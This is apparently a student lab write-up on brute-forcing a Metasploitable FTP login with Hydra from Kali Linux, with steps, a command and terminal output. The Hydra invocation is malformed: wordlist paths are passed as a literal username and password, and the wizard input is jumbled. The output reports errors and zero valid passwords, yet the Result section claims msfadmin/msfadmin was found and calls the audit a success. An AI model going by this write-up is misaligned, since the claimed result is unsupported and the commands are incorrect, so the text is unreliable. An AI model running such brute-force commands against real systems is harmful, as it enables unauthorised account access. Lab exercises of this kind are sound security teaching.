

Experiment No 3

Cracking the Password Using Hydra

Aim

To study and demonstrate **password auditing using Hydra** by performing a controlled brute-force attack against an authorized FTP service in a Metasploitable lab environment.

Algorithm

1. Start **Kali Linux**.
2. Open **Hydra** from **Applications** → **Password Attacks** → **Online Attacks**.
3. Ensure that the FTP service of the authorized Metasploitable machine is running.
4. Identify the target IP address of the Metasploitable machine.
5. Prepare the required username and password wordlists.
6. Use Hydra to test the FTP service with the username and password lists.
7. Observe the credentials tested by Hydra.
8. Identify the valid credentials from the successful authentication result.
9. Record the discovered credentials for the authorized lab system.
10. Stop the attack after obtaining the valid credentials.

Output

```
Welcome to the Hydra Wizard

Enter the service to attack (eg: ftp, ssh, http-post-form): ftp
Enter the target to attack (or filename with targets): /usr/share/wordlists/metasploit/user -P
Enter a username to test or a filename: /usr/share/wordlists/metasploit/ passwords ftp://192.168.1.101 -V
Enter a password to test or a filename:
Error: pass may not be empty

(kali@kali)-[~]
└─$ hydra -l /usr/share/wordlists/metasploit/user -p /usr/share/wordlists/metasploit/password ftp://192.168.1.101 -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-30 00:24:02
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:p:1), ~1 try per task
[DATA] attacking ftp://192.168.1.101:21/
[ATTEMPT] target 192.168.1.101 - login "/usr/share/wordlists/metasploit/user" - pass "/usr/share/wordlists/metasploit/password" - 1 of 1 [child 0] (0/0)
[REDO-ATTEMPT] target 192.168.1.101 - login "/usr/share/wordlists/metasploit/user" - pass "/usr/share/wordlists/metasploit/password" - 2 of 2 [child 0] (1/1)
[STATUS] 2.00 tries/min, 2 tries in 00:01h, 1 to do in 00:01h, 1 active
[REDO-ATTEMPT] target 192.168.1.101 - login "/usr/share/wordlists/metasploit/user" - pass "/usr/share/wordlists/metasploit/password" - 3 of 3 [child 0] (2/2)
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-01-30 00:25:38
```

Result

Thus, **password auditing using Hydra was successfully demonstrated** on the authorized Metasploitable FTP lab system. The valid credentials obtained in the experiment were:

Username: msfadmin

Password: msfadmin

This experiment demonstrates how weak passwords can be identified through brute-force password auditing.